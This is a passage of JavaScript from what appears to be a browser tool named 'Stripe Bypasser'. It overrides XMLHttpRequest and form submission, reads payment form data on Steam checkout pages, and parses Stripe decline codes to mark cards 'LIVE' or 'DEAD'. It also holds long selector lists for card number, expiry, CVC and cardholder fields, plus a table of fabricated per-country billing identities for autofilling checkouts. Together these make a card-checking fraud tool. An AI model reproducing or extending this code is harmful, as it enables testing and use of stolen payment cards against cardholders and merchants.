                }
                if (!isIncludesInit) {
                  let parsedPayload = null;
                  if (
                    window.StripeBypasserDeclineHandler &&
                    window.StripeBypasserDeclineHandler.extractDeclineCode &&
                    parsedPayload
                  ) {
                    parsedPayload =
                      window.StripeBypasserDeclineHandler.extractDeclineCode(parsedPayload);
                  }
                  if (
                    (!parsedPayload || !parsedPayload.code) &&
                    responseTextValue &&
                    typeof responseTextValue === "string"
                  ) {
                    const binList = [
                      /"decline_code"\s*:\s*"([^"]+)"/i,
                      /"failure_code"\s*:\s*"([^"]+)"/i,
                      /"code"\s*:\s*"([^"]+)"/i,
                      /decline_code["\s]*:["\s]*([a-z_]+)/i,
                      /failure_code["\s]*:["\s]*([a-z_]+)/i
                    ];
                    const cardSupportedGenericList = [
                      "card_not_supported",
                      "generic_decline",
                      "fraudulent",
                      "incorrect_number",
                      "invalid_account",
                      "insufficient_funds",
                      "transaction_not_allowed",
                      "do_not_honor",
                      "lost_card",
                      "stolen_card",
                      "expired_card",
                      "incorrect_cvc",
                      "processing_error",
                      "reenter_transaction",
                      "restricted_card",
                      "security_violation",
                      "service_not_allowed",
                      "stop_payment_order",
                      "testmode_decline",
                      "withdrawal_count_limit_exceeded",
                      "payment_intent_authentication_failure"
                    ];
                    for (const firstBinEntry of binList) {
                      const match = responseTextValue.match(firstBinEntry);
                      if (match && match[1]) {
                        const code = match[1].toLowerCase();
                        if (cardSupportedGenericList.includes(code)) {
                          parsedPayload = {
                            code,
                            message:
                              responseTextValue.match(/"message"\s*:\s*"([^"]+)"/i)?.[1] ||
                              responseTextValue.match(/"failure_message"\s*:\s*"([^"]+)"/i)?.[1] ||
                              ""
                          };
                          break;
                        }
                      }
                    }
                  }
                  if (parsedPayload && parsedPayload.code) {
                    const declineCode = parsedPayload.code;
                    const declineMessage = parsedPayload.message || "";
                    const isLiveDecline = window.StripeBypasserDeclineHandler?.isLiveDeclineCode
                      ? window.StripeBypasserDeclineHandler.isLiveDeclineCode("stripe", declineCode)
                      : declineCode === "insufficient_funds" ||
                        declineCode === "incorrect_cvc" ||
                        declineCode === "do_not_honor";
                    const logType = isLiveDecline ? "success" : "error";
                    const statusLabel = isLiveDecline ? "LIVE" : "DEAD";
                    const message = cardSummary
                      ? statusLabel +
                        " | Stripe: Decline Code: " +
                        declineCode +
                        " | Card: " +
                        cardSummary +
                        (declineMessage ? " | " + declineMessage : "")
                      : statusLabel +
                        " | Stripe: Decline Code: " +
                        declineCode +
                        (declineMessage ? " | " + declineMessage : "");
                    const isTopSelf = window.top !== window.self;
                    const isStripeLocationUrl =
                      url.includes("api.stripe.com") ||
                      (window.location &&
                        window.location.hostname &&
                        window.location.hostname.includes("stripe.com"));
                    const bannerText = isLiveDecline ? "LIVE Card" : "Card Declined";
                    const bannerType = isLiveDecline ? "success" : "error";
                    const bannerDetails =
                      statusLabel +
                      " | Stripe: Decline Code: " +
                      declineCode +
                      (cardSummary ? " | Card: " + cardSummary.split("|")[0].slice(-4) : "");
                    if (isTopSelf || isStripeLocationUrl) {
                      try {
                        const typeInfo = {
                          type: "STRIPE_BYPASSER_SHOW_BANNER",
                          bannerText,
                          bannerType,
                          details: bannerDetails
                        };
                        window.postMessage(typeInfo, "*");
                      } catch (error) {
                        console.warn("[Deep Bypasser] Operation failed", error.message);
                      }
                    } else if (window.createStripeBypassBanner) {
                      setTimeout(() => {
                        try {
                          window.createStripeBypassBanner(bannerText, bannerType, bannerDetails);
                        } catch (error) {
                          console.warn("[Deep Bypasser] Operation failed", error.message);
                        }
                      }, 0);
                    }
                    if (typeof document !== "undefined" && document && document.dispatchEvent) {
                      document.dispatchEvent(
                        new CustomEvent("stripeBypasserPaymentLog", {
                          detail: {
                            type: "STRIPE_BYPASSER_PAYMENT_LOG",
                            message,
                            logType
                          }
                        })
                      );
                    }
                  }
                }
              } catch (error) {
                stripeBypasserLogger.debug(
                  "[FetchInterceptor] Error processing XHR response:",
                  error
                );
              }
            }
            if (onreadystatechangeValue) {
              return onreadystatechangeValue.apply(this, callbackArgs);
            }
          };
        }
      }
      return originalXhrSend.apply(this, [requestBodyText]);
    };
    window.__deepBypasserInterceptedXHRSend = XMLHttpRequest.prototype.send;
    const originalFormSubmit = HTMLFormElement.prototype.submit;
    HTMLFormElement.prototype.submit = function interceptSteamFormSubmit() {
      if (window.location.hostname.includes("steampowered.com")) {
        const formSubmitInfo = {
          action: this.action,
          method: this.method,
          url: this.action || window.location.href
        };
        console.log("[FormInterceptor] ⚡ FORM.submit() CALLED ⚡", formSubmitInfo);
        try {
          const formData = new FormData(this);
          const serializedFormData = new URLSearchParams(formData).toString();
          if (
            serializedFormData.toLowerCase().includes("gidshoppingcart") ||
            serializedFormData.toLowerCase().includes("cardnumber")
          ) {
            console.log("[FormInterceptor] ⚡ PAYMENT FORM.submit() DETECTED ⚡", {
              action: this.action,
              method: this.method,
              formDataPreview: serializedFormData.substring(0, 500)
            });
          }
        } catch (error) {
          console.log("[FormInterceptor] Error reading form data:", error);
        }
      }
      return originalFormSubmit.call(this);
    };
    if (typeof document !== "undefined" && document.readyState === "loading") {
      if (document.addEventListener) {
        document.addEventListener("DOMContentLoaded", domReadyHandler);
      } else if (document.attachEvent) {
        document.attachEvent("onreadystatechange", () => {
          if (document.readyState === "complete") {
            domReadyHandler();
          }
        });
      }
    } else {
      domReadyHandler();
    }
  }
  (() => {
    if (typeof window !== "undefined" && !window.__STRIPE_BYPASSER_IS_MOBILE__) {
      const isMobileViewport =
        /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(
          navigator.userAgent
        ) ||
        (window.innerWidth <= 768 && window.innerHeight <= 1024);
      window.__STRIPE_BYPASSER_IS_MOBILE__ = isMobileViewport;
    }
    const defaultSettings = {
      delay: 7
    };
    const nameCardNumberList = [
      'input[name="CardNumber"]',
      'input[name="card_number"]',
      'input[id="card_number"]',
      'input[name="card"]',
      'input[name="cardNumber"]',
      'input[name*="card"][name*="number" i]',
      'input[name*="cardNumber" i]',
      'input[name*="card_number" i]',
      'input[id*="card"][id*="number" i]',
      'input[id*="cardNumber" i]',
      'input[id*="card-element"]',
      'input[placeholder*="card" i][placeholder*="number" i]',
      'input[placeholder*="1234" i]',
      'input[autocomplete="cc-number"]',
      "#card-number",
      "#cardNumber",
      "#card-element",
      ".card-number",
      ".StripeElement",
      '[data-testid*="card-number" i]',
      '[class*="CardNumberInput"]',
      '[class*="card-number"]',
      'input[type="tel"][maxlength="19"]',
      'input[type="tel"][maxlength="16"]',
      'input[type="text"][maxlength="19"]',
      'input[type="text"][maxlength="16"]'
    ];
    const nameCardExpirationList = [
      'input[name="CardExpirationMonth"]',
      'input[name="expiration_month"]',
      'input[id="expiration_month"]',
      'input[name*="exp"][name*="month" i]',
      'input[name*="expMonth" i]',
      'input[name*="expiration_month" i]',
      'input[name*="expirationMonth" i]',
      'input[id*="exp"][id*="month" i]',
      'input[id*="expMonth" i]',
      'input[id*="expiration_month" i]',
      'input[id*="expirationMonth" i]',
      "#expiration_month",
      'select[name*="exp"][name*="month" i]',
      'select[id*="exp"][id*="month" i]',
      'input[autocomplete="cc-exp-month"]',
      "#exp-month",
      "#expMonth",
      ".exp-month"
    ];
    const expirationYearSelectors = [
      'input[name="CardExpirationYear"]',
      'input[name="expiration_year"]',
      'input[id="expiration_year"]',
      'input[name*="exp"][name*="year" i]',
      'input[name*="expYear" i]',
      'input[name*="expiration_year" i]',
      'input[name*="expirationYear" i]',
      'input[id*="exp"][id*="year" i]',
      'input[id*="expYear" i]',
      'input[id*="expiration_year" i]',
      'input[id*="expirationYear" i]',
      "#expiration_year",
      'select[name*="exp"][name*="year" i]',
      'select[id*="exp"][id*="year" i]',
      'input[autocomplete="cc-exp-year"]',
      "#exp-year",
      "#expYear",
      ".exp-year"
    ];
    const nameCardSecurityList = [
      'input[name="CardSecurityCode"]',
      'input[name="SecurityCode"]',
      'input[name="cvv"]',
      'input[name="cvc"]',
      'input[name="security"]',
      'input[placeholder*="security" i]',
      'input[name*="cvc" i]',
      'input[name*="cvv" i]',
      'input[name*="security" i]',
      'input[id*="cvc" i]',
      'input[id*="cvv" i]',
      'input[autocomplete="cc-csc"]',
      "#cvc",
      "#cvv",
      ".cvc",
      ".cvv"
    ];
    const nameCardCardholderList = [
      'input[name="name"]',
      'input[name*="name" i][name*="card" i]',
      'input[name*="cardholder" i]',
      'input[name*="card_holder" i]',
      'input[name="cardHodler"]',
      'input[name="cardHolder"]',
      'input[name="cardholder"]',
      'input[name*="full" i][name*="name" i]',
      'input[name*="fullname" i]',
      'input[id="name"]',
      'input[id*="name" i][id*="card" i]',
      'input[id*="cardholder" i]',
      'input[id*="nameInput" i]',
      'input[autocomplete="cc-name"]',
      'input[autocomplete="name"]',
      'input[autocomplete*="name" i]',
      'input[autocomplete="billing name"]',
      "#cardholder-name",
      "#cardholderName",
      "#Field-nameInput",
      ".cardholder-name",
      '[id*="nameInput" i]'
    ];
    const nameCityLocalityList = [
      'input[name*="city" i]',
      'input[name*="locality" i]',
      'input[id*="city" i]',
      'input[id*="locality" i]',
      'input[id*="localityInput" i]',
      'input[autocomplete="address-level2"]',
      'input[autocomplete="billing address-level2"]',
      'input[autocomplete*="address-level2" i]',
      'input[autocomplete="city"]',
      "#city",
      "#locality",
      "#Field-localityInput",
      ".city",
      '[id*="localityInput" i]'
    ];
    const nameStateProvinceList = [
      'input[name*="state" i]',
      'input[name*="province" i]',
      'input[name*="administrative" i][name*="area" i]',
      'select[name*="state" i]',
      'select[name*="province" i]',
      'select[name*="administrative" i][name*="area" i]',
      'input[id*="state" i]',
      'input[id*="province" i]',
      'input[id*="administrativeArea" i]',
      'select[id*="state" i]',
      'select[id*="province" i]',
      'select[id*="administrativeArea" i]',
      'select[id*="administrativeAreaInput" i]',
      'input[autocomplete="address-level1"]',
      'input[autocomplete="billing address-level1"]',
      'input[autocomplete*="address-level1" i]',
      'select[autocomplete="address-level1"]',
      'select[autocomplete="billing address-level1"]',
      'select[autocomplete*="address-level1" i]',
      "#state",
      "#Field-administrativeAreaInput",
      ".state",
      '[id*="administrativeAreaInput" i]'
    ];
    const nameZipPostalList = [
      'input[name*="zip" i]',
      'input[name*="postal" i]',
      'input[id*="zip" i]',
      'input[id*="postal" i]',
      'input[autocomplete="postal-code"]',
      "#zip",
      "#postal-code",
      ".zip"
    ];
    const selectNameCountryList = [
      'select[name*="country" i]',
      'input[name*="country" i]',
      'select[id*="country" i]',
      'input[id*="country" i]',
      'select[autocomplete="country"]',
      "#country",
      ".country"
    ];
    const defaultCountryAutofillProfiles = {
      AD: {
        name: "Marc Vila",
        address: "Avinguda Meritxell 119",
        city: "Andorra la Vella",
        state: "Andorra la Vella",
        zip: "AD100",
        country: "AD",
        phone: "312345"
      },
      AE: {
        name: "خالد المنصوري",
        address: "Sheikh Zayed Road 136",
        city: "Dubai",
        state: "Dubai",
        zip: "",
        country: "AE",
        phone: "0501234567"
      },
      AF: {
        name: "Ahmad Rahimi",
        address: "Chicken Street 153",
        city: "Kabul",
        state: "Kabul",
        zip: "1001",
        country: "AF",
        phone: "0701234567"
      },
      AL: {
        name: "Ardit Kola",
        address: "Bulevardi Dëshmorët e Kombit 75",
        city: "Tirana",
        state: "Tirana",
        zip: "1001",
        country: "AL",
        phone: "0672123456"
      },
      AM: {
        name: "Արման Մկրտչյան",
        address: "Abovyan Street 92",
        city: "Yerevan",
        state: "Yerevan",
        zip: "375010",
        country: "AM",
        phone: "077123456"
      },
      AO: {
        name: "Joao Pereira",
        address: "Avenida 4 de Fevereiro 126",
        city: "Luanda",
        state: "Luanda",
        zip: "",
        country: "AO",
        phone: "923123456"
      },
      AR: {
        name: "Lucia Fernandez",
        address: "Avenida Corrientes 177",
        city: "Buenos Aires",
        state: "Buenos Aires",
        zip: "C1070AAM",
        country: "AR",
        phone: "0111523456789"
      },
      AT: {
        name: "Lukas Gruber",
        address: "Kärntner Straße 31",
        city: "Vienna",
        state: "Vienna",
        zip: "1010",
        country: "AT",
        phone: "0664123456"
      },
      AU: {
        name: "Charlotte Parker",
        address: "48 Main Street",
        city: "Sydney",
        state: "NSW",
        zip: "2060",
        country: "AU",
        phone: "0412345678"
      },
      AZ: {
        name: "Rashad Mammadov",
        address: "Nizami Street 133",
        city: "Baku",
        state: "Baku",
        zip: "1000",
        country: "AZ",
        phone: "0401234567"
      },
      BA: {
        name: "Milan Petrovic",
        address: "Ferhadija Street 85",
        city: "Sarajevo",
        state: "Sarajevo",
        zip: "71000",
        country: "BA",
        phone: "061123456"
      },
      BB: {
        name: "Aaliyah Clarke",
        address: "Broad Street 102",
        city: "Bridgetown",
        state: "Saint Michael",
        zip: "BB23026",
        country: "BB",
        phone: "2462501234"
      },
      BD: {
        name: "Fahim Rahman",
        address: "Gulshan Avenue 136",
        city: "Dhaka",
        state: "Dhaka",
        zip: "1340",
        country: "BD",
        phone: "01812345678"
      },
      BE: {
        name: "Jean Dupont",
        address: "Rue de la Loi 153",
        city: "Brussels",
        state: "Brussels",
        zip: "4000",
        country: "BE",
        phone: "0450001234"
      },
      BF: {
        name: "Jean Dupont",
        address: "Avenue Kwame N'Krumah 170",
        city: "Ouagadougou",
        state: "Centre",
        zip: "",
        country: "BF",
        phone: "70123456"
      },
      BG: {
        name: "Иван Георгиев",
        address: "Vitosha Boulevard 187",
        city: "Sofia",
        state: "Sofia",
        zip: "1000",
        country: "BG",
        phone: "043012345"
      },
      BH: {
        name: "حسن العلي",
        address: "Government Avenue 24",
        city: "Manama",
        state: "Manama",
        zip: "317",
        country: "BH",
        phone: "36001234"
      },
      BI: {
        name: "Jean Dupont",
        address: "Avenue de l'Indépendance 41",
        city: "Bujumbura",
        state: "Bujumbura",
        zip: "",
        country: "BI",
        phone: "79561234"
      },
      BO: {
        name: "Carlos Mendoza",
        address: "Avenida 16 de Julio 143",
        city: "La Paz",
        state: "La Paz",
        zip: "",
        country: "BO",
        phone: "71234567"
      },
      BR: {
        name: "Joao Pereira",
        address: "Avenida Paulista 194",
        city: "São Paulo",
        state: "SP",
        zip: "40301-110",
        country: "BR",
        phone: "11961234567"
      },
      BS: {
        name: "Aaliyah Clarke",
        address: "Bay Street 31",
        city: "Nassau",
        state: "New Providence",
        zip: "",
        country: "BS",
        phone: "2423591234"
      },
      BW: {
        name: "Sipho Dlamini",
        address: "Main Mall 99",
        city: "Gaborone",
        state: "Gaborone",
        zip: "",
        country: "BW",
        phone: "71123456"
      },
      BY: {
        name: "Андрей Ковалёв",
        address: "Nezavisimosti Avenue 133",
        city: "Minsk",
        state: "Minsk",
        zip: "223016",
        country: "BY",
        phone: "80294911911"
      },
      BZ: {
        name: "Aaliyah Clarke",
        address: "Queen Street 150",
        city: "Belize City",
        state: "Belize",
        zip: "",
        country: "BZ",
        phone: "6221234"
      },
      CA: {
        name: "Olivia Bennett",
        address: "102 Main Street",
        city: "Toronto",
        state: "ON",
        zip: "H3Z 2Y7",
        country: "CA",
        phone: "5062345678"
      },
      CD: {
        name: "Jean Dupont",
        address: "Avenue des Aviateurs 153",
        city: "Kinshasa",
        state: "Kinshasa",
        zip: "",
        country: "CD",
        phone: "0991234567"
      },
      CF: {
        name: "Michael Carter",
        address: "Avenue des Martyrs 187",
        city: "Bangui",
        state: "Bangui",
        zip: "",
        country: "CF",
        phone: "70012345"
      },
      CG: {
        name: "Jean Dupont",
        address: "Avenue de l'Indépendance 24",
        city: "Brazzaville",
        state: "Brazzaville",
        zip: "",
        country: "CG",
        phone: "061234567"
      },
      CH: {
        name: "Luca Bianchi",
        address: "Bahnhofstrasse 41",
        city: "Zurich",
        state: "Zurich",
        zip: "2544",
        country: "CH",
        phone: "0781234567"
      },
      CI: {
        name: "Jean Dupont",
        address: "Boulevard de la République 58",
        city: "Abidjan",
        state: "Lagunes",
        zip: "",
        country: "CI",
        phone: "0123456789"
      },
      CL: {
        name: "Carlos Mendoza",
        address: "Avenida Providencia 109",
        city: "Santiago",
        state: "Santiago",
        zip: "8340457",
        country: "CL",
        phone: "221234567"
      },
      CM: {
        name: "Jean Dupont",
        address: "Boulevard de la République 126",
        city: "Yaoundé",
        state: "Centre",
        zip: "",
        country: "CM",
        phone: "671234567"
      },
      CN: {
        name: "王伟",
        address: "143 Nanjing Road",
        city: "Shanghai",
        state: "Shanghai",
        zip: "266033",
        country: "CN",
        phone: "13123456789"
      },
      CO: {
        name: "Carlos Mendoza",
        address: "Carrera 7 160",
        city: "Bogotá",
        state: "Bogotá",
        zip: "111221",
        country: "CO",
        phone: "3211234567"
      },
      CR: {
        name: "Carlos Mendoza",
        address: "Avenida Central 31",
        city: "San José",
        state: "San José",
        zip: "1000",
        country: "CR",
        phone: "83123456"
      },
      CU: {
        name: "Carlos Mendoza",
        address: "Paseo de Martí 82",
        city: "Havana",
        state: "Havana",
        zip: "10700",
        country: "CU",
        phone: "051234567"
      },
      CV: {
        name: "Joao Pereira",
        address: "Avenida Amílcar Cabral 99",
        city: "Praia",
        state: "Praia",
        zip: "7600",
        country: "CV",
        phone: "9911234"
      },
      CY: {
        name: "Ανδρέας Νικολάου",
        address: "Ledra Street 150",
        city: "Nicosia",
        state: "Nicosia",
        zip: "2008",
        country: "CY",
        phone: "96123456"
      },
      CZ: {
        name: "Jan Novak",
        address: "Václavské náměstí 167",
        city: "Prague",
        state: "Prague",
        zip: "100 00",
        country: "CZ",
        phone: "601123456"
      },
      DE: {
        name: "Lukas Weber",
        address: "Hauptstraße 187",
        city: "Berlin",
        state: "Berlin",
        zip: "26133",
        country: "DE",
        phone: "015123456789"
      },
      DJ: {
        name: "محمد الأحمد",
        address: "Place du 27 Juin 92",
        city: "Djibouti",
        state: "Djibouti",
        zip: "",
        country: "DJ",
        phone: "77831001"
      },
      DK: {
        name: "Mikkel Jensen",
        address: "Strøget 109",
        city: "Copenhagen",
        state: "Hovedstaden",
        zip: "8660",
        country: "DK",
        phone: "34412345"
      },
      DO: {
        name: "Carlos Mendoza",
        address: "Avenida George Washington 177",
        city: "Santo Domingo",
        state: "Distrito Nacional",
        zip: "11903",
        country: "DO",
        phone: "8092345678"
      },
      DZ: {
        name: "محمد الأحمد",
        address: "Rue Didouche Mourad 184",
        city: "Algiers",
        state: "Algiers",
        zip: "40304",
        country: "DZ",
        phone: "0551234567"
      },
      EC: {
        name: "Carlos Mendoza",
        address: "Avenida Amazonas 170",
        city: "Quito",
        state: "Pichincha",
        zip: "090105",
        country: "EC",
        phone: "0991234567"
      },
      EE: {
        name: "Michael Carter",
        address: "Pikk Street 24",
        city: "Tallinn",
        state: "Harju",
        zip: "69501",
        country: "EE",
        phone: "51234567"
      },
      EG: {
        name: "أحمد حسن",
        address: "Tahrir Square 58",
        city: "Cairo",
        state: "Cairo",
        zip: "12411",
        country: "EG",
        phone: "01001234567"
      },
      EH: {
        name: "محمد الأحمد",
        address: "Avenue Hassan II 75",
        city: "El Aaiún",
        state: "El Aaiún",
        zip: "70000",
        country: "EH",
        phone: "0650123456"
      },
      ER: {
        name: "محمد الأحمد",
        address: "Harnet Avenue 65",
        city: "Asmara",
        state: "Maekel",
        zip: "",
        country: "ER",
        phone: "07123456"
      },
      ES: {
        name: "Alejandro Martin",
        address: "Calle Mayor 82",
        city: "Madrid",
        state: "Madrid",
        zip: "28039",
        country: "ES",
        phone: "612345678"
      },
      ET: {
        name: "Brian Mwangi",
        address: "Churchill Avenue 99",
        city: "Addis Ababa",
        state: "Addis Ababa",
        zip: "1000",
        country: "ET",
        phone: "0911234567"
      },
      FI: {
        name: "Elias Korhonen",
        address: "Mannerheimintie 109",
        city: "Helsinki",
        state: "Uusimaa",
        zip: "00550",
        country: "FI",
        phone: "0412345678"
      },
      FJ: {
        name: "Noah Tavita",
        address: "Victoria Parade 126",
        city: "Suva",
        state: "Central",
        zip: "",
        country: "FJ",
        phone: "7012345"
      },
      FK: {
        name: "Michael Carter",
        address: "Ross Road 143",
        city: "Stanley",
        state: "East Falkland",
        zip: "FIQQ 1ZZ",
        country: "FK",
        phone: "51234"
      },
      FM: {
        name: "Noah Tavita",
        address: "Main Street 177",
        city: "Palikir",
        state: "Pohnpei",
        zip: "96941",
        country: "FM",
        phone: "3501234"
      },
      FR: {
        name: "Lucas Martin",
        address: "82 Rue de la Paix",
        city: "Paris",
        state: "Île-de-France",
        zip: "33380",
        country: "FR",
        phone: "0612345678"
      },
      GA: {
        name: "Jean Dupont",
        address: "Boulevard Léon Mba 170",
        city: "Libreville",
        state: "Estuaire",
        zip: "",
        country: "GA",
        phone: "06031234"
      },
      GB: {
        name: "Oliver Bennett",
        address: "187 High Street",
        city: "London",
        state: "England",
        zip: "EC1Y 8SY",
        country: "GB",
        phone: "07400123456"
      },
      GE: {
        name: "ნიკა ბერიძე",
        address: "Rustaveli Avenue 58",
        city: "Tbilisi",
        state: "Tbilisi",
        zip: "0101",
        country: "GE",
        phone: "555123456"
      },
      GF: {
        name: "Jean Dupont",
        address: "Rue de la République 75",
        city: "Cayenne",
        state: "Cayenne",
        zip: "97300",
        country: "GF",
        phone: "0694201234"
      },
      GH: {
        name: "Mamadou Diallo",
        address: "Oxford Street 109",
        city: "Accra",
        state: "Greater Accra",
        zip: "",
        country: "GH",
        phone: "0231234567"
      },
      GM: {
        name: "Mamadou Diallo",
        address: "Buckingham Street 194",
        city: "Banjul",
        state: "Banjul",
        zip: "",
        country: "GM",
        phone: "3012345"
      },
      GN: {
        name: "Jean Dupont",
        address: "Boulevard du Commerce 31",
        city: "Conakry",
        state: "Conakry",
        zip: "001",
        country: "GN",
        phone: "601123456"
      },
      GQ: {
        name: "Carlos Mendoza",
        address: "Avenida de la Independencia 82",
        city: "Malabo",
        state: "Bioko Norte",
        zip: "",
        country: "GQ",
        phone: "222123456"
      },
      GR: {
        name: "Γιώργος Παπαδόπουλος",
        address: "Ermou Street 99",
        city: "Athens",
        state: "Attica",
        zip: "151 24",
        country: "GR",
        phone: "6912345678"
      },
      GT: {
        name: "Carlos Mendoza",
        address: "Avenida Reforma 133",
        city: "Guatemala City",
        state: "Guatemala",
        zip: "09001",
        country: "GT",
        phone: "51234567"
      },
      GW: {
        name: "Joao Pereira",
        address: "Avenida Amílcar Cabral 184",
        city: "Bissau",
        state: "Bissau",
        zip: "1000",
        country: "GW",
        phone: "955012345"
      },
      GY: {
        name: "Aaliyah Clarke",
        address: "Main Street 38",
        city: "Georgetown",
        state: "Demerara-Mahaica",
        zip: "",
        country: "GY",
        phone: "6091234"
      },
      HK: {
        name: "陳家豪",
        address: "Queen's Road Central 177",
        city: "Hong Kong",
        state: "Hong Kong",
        zip: "",
        country: "HK",
        phone: "51234567"
      },
      HN: {
        name: "Carlos Mendoza",
        address: "Boulevard Morazán 48",
        city: "Tegucigalpa",
        state: "Francisco Morazán",
        zip: "31301",
        country: "HN",
        phone: "91234567"
      },
      HR: {
        name: "Ivan Horvat",
        address: "Ilica 116",
        city: "Zagreb",
        state: "Zagreb",
        zip: "10000",
        country: "HR",
        phone: "0921234567"
      },
      HU: {
        name: "Bence Nagy",
        address: "Andrássy út 167",
        city: "Budapest",
        state: "Budapest",
        zip: "1037",
        country: "HU",
        phone: "06201234567"
      },
      ID: {
        name: "Budi Santoso",
        address: "Jalan Thamrin 75",
        city: "Jakarta",
        state: "Jakarta",
        zip: "40115",
        country: "ID",
        phone: "0812345678"
      },
      IE: {
        name: "Cian Murphy",
        address: "Grafton Street 92",
        city: "Dublin",
        state: "Dublin",
        zip: "A65 F4E2",
        country: "IE",
        phone: "0850123456"
      },
      IL: {
        name: "יואב כהן",
        address: "Dizengoff Street 31",
        city: "Tel Aviv",
        state: "Tel Aviv",
        zip: "9614303",
        country: "IL",
        phone: "0502345678"
      },
      IN: {
        name: "Aarav Sharma",
        address: "65 MG Road",
        city: "Mumbai",
        state: "Maharashtra",
        zip: "110034",
        country: "IN",
        phone: "08123456789"
      },
      IQ: {
        name: "علي الجبوري",
        address: "Al-Rashid Street 116",
        city: "Baghdad",
        state: "Baghdad",
        zip: "31001",
        country: "IQ",
        phone: "07912345678"
      },
      IS: {
        name: "Jonas Sigurdsson",
        address: "Laugavegur 150",
        city: "Reykjavik",
        state: "Capital Region",
        zip: "320",
        country: "IS",
        phone: "6111234"
      },
      IT: {
        name: "Luca Romano",
        address: "Via Roma 167",
        city: "Rome",
        state: "Lazio",
        zip: "00144",
        country: "IT",
        phone: "3123456789"
      },
      JM: {
        name: "Aaliyah Clarke",
        address: "King Street 65",
        city: "Kingston",
        state: "Kingston",
        zip: "",
        country: "JM",
        phone: "8762101234"
      },
      JO: {
        name: "ليث الخطيب",
        address: "King Hussein Street 99",
        city: "Amman",
        state: "Amman",
        zip: "11937",
        country: "JO",
        phone: "0790123456"
      },
      JP: {
        name: "佐藤 大輔",
        address: "1-2-3 Shibuya",
        city: "Tokyo",
        state: "Tokyo",
        zip: "154-0023",
        country: "JP",
        phone: "09012345678"
      },
      KE: {
        name: "Brian Mwangi",
        address: "Kenyatta Avenue 126",
        city: "Nairobi",
        state: "Nairobi",
        zip: "20100",
        country: "KE",
        phone: "0712123456"
      },
      KH: {
        name: "Sok Dara",
        address: "Sisowath Quay 177",
        city: "Phnom Penh",
        state: "Phnom Penh",
        zip: "120101",
        country: "KH",
        phone: "091234567"
      },
      KI: {
        name: "Noah Tavita",
        address: "Bairiki 194",
        city: "Tarawa",
        state: "Tarawa",
        zip: "",
        country: "KI",
        phone: "72001234"
      },
      KM: {
        name: "محمد الأحمد",
        address: "Avenue de la République 82",
        city: "Moroni",
        state: "Grande Comore",
        zip: "",
        country: "KM",
        phone: "3212345"
      },
      KR: {
        name: "김민준",
        address: "167 Gangnam-daero",
        city: "Seoul",
        state: "Seoul",
        zip: "03051",
        country: "KR",
        phone: "01020000000"
      },
      KW: {
        name: "عبدالله العتيبي",
        address: "Arabian Gulf Street 72",
        city: "Kuwait City",
        state: "Kuwait",
        zip: "54541",
        country: "KW",
        phone: "50012345"
      },
      KZ: {
        name: "Алихан Нурланов",
        address: "Abay Avenue 67",
        city: "Almaty",
        state: "Almaty",
        zip: "040900",
        country: "KZ",
        phone: "87710009998"
      },
      LA: {
        name: "Souksavanh Vongsa",
        address: "Samsenthai Road 75",
        city: "Vientiane",
        state: "Vientiane",
        zip: "01160",
        country: "LA",
        phone: "02023123456"
      },
      LB: {
        name: "Karim Haddad",
        address: "Hamra Street 92",
        city: "Beirut",
        state: "Beirut",
        zip: "2038 3054",
        country: "LB",
        phone: "71123456"
      },
      LI: {
        name: "Lukas Weber",
        address: "Städtle 31",
        city: "Vaduz",
        state: "Vaduz",
        zip: "9496",
        country: "LI",
        phone: "660234567"
      },
      LK: {
        name: "Nimal Perera",
        address: "Galle Road 65",
        city: "Colombo",
        state: "Western",
        zip: "20000",
        country: "LK",
        phone: "0712345678"
      },
      LR: {
        name: "Mamadou Diallo",
        address: "Broad Street 184",
        city: "Monrovia",
        state: "Montserrado",
        zip: "1000",
        country: "LR",
        phone: "0770123456"
      },
      LS: {
        name: "Sipho Dlamini",
        address: "Kingsway 21",
        city: "Maseru",
        state: "Maseru",
        zip: "100",
        country: "LS",
        phone: "50123456"
      },
      LT: {
        name: "Matas Kazlauskas",
        address: "Gedimino Avenue 38",
        city: "Vilnius",
        state: "Vilnius",
        zip: "04340",
        country: "LT",
        phone: "061234567"
      },
      LU: {
        name: "Jean Dupont",
        address: "Grand Rue 55",
        city: "Luxembourg",
        state: "Luxembourg",
        zip: "4750",
        country: "LU",
        phone: "628123456"
      },
      LV: {
        name: "Martins Ozols",
        address: "Brīvības iela 72",
        city: "Riga",
        state: "Riga",
        zip: "LV-1073",
        country: "LV",
        phone: "21234567"
      },
      MA: {
        name: "Youssef El Idrissi",
        address: "Avenue Mohammed V 92",
        city: "Casablanca",
        state: "Casablanca",
        zip: "53000",
        country: "MA",
        phone: "0650123456"
      },
      MC: {
        name: "Jean Dupont",
        address: "Boulevard des Moulins 126",
        city: "Monaco",
        state: "Monaco",
        zip: "98000",
        country: "MC",
        phone: "0612345678"
      },
      MD: {
        name: "Michael Carter",
        address: "Ștefan cel Mare Boulevard 143",
        city: "Chișinău",
        state: "Chișinău",
        zip: "2012",
        country: "MD",
        phone: "062112345"
      },
      ME: {
        name: "Milan Petrovic",
        address: "Njegoševa Street 160",
        city: "Podgorica",
        state: "Podgorica",
        zip: "81257",
        country: "ME",
        phone: "060123456"
      },
      MG: {
        name: "Michael Carter",
        address: "Avenue de l'Indépendance 194",
        city: "Antananarivo",
        state: "Antananarivo",
        zip: "501",
        country: "MG",
        phone: "0321234567"
      },
      MH: {
        name: "Noah Tavita",
        address: "Main Street 31",
        city: "Majuro",
        state: "Majuro",
        zip: "96960",
        country: "MH",
        phone: "2351234"
      },
      MK: {
        name: "Milan Petrovic",
        address: "Macedonia Street 82",
        city: "Skopje",
        state: "Skopje",
        zip: "1314",
        country: "MK",
        phone: "072345678"
      },
      ML: {
        name: "Jean Dupont",
        address: "Avenue de la République 99",
        city: "Bamako",
        state: "Bamako",
        zip: "",
        country: "ML",
        phone: "65012345"
      },
      MM: {
        name: "Aung Min",
        address: "Bogyoke Aung San Road 116",
        city: "Yangon",
        state: "Yangon",
        zip: "11181",
        country: "MM",
        phone: "092123456"
      },
      MN: {
        name: "Бат-Эрдэнэ Ганбат",
        address: "Peace Avenue 133",
        city: "Ulaanbaatar",
        state: "Ulaanbaatar",
        zip: "65030",
        country: "MN",
        phone: "88123456"
      },
      MR: {
        name: "محمد الأحمد",
        address: "Avenue Gamal Abdel Nasser 21",
        city: "Nouakchott",
        state: "Nouakchott",
        zip: "",
        country: "MR",
        phone: "22123456"
      },
      MT: {
        name: "Michael Carter",
        address: "Republic Street 55",
        city: "Valletta",
        state: "Valletta",
        zip: "NXR 01",
        country: "MT",
        phone: "96961234"
      },
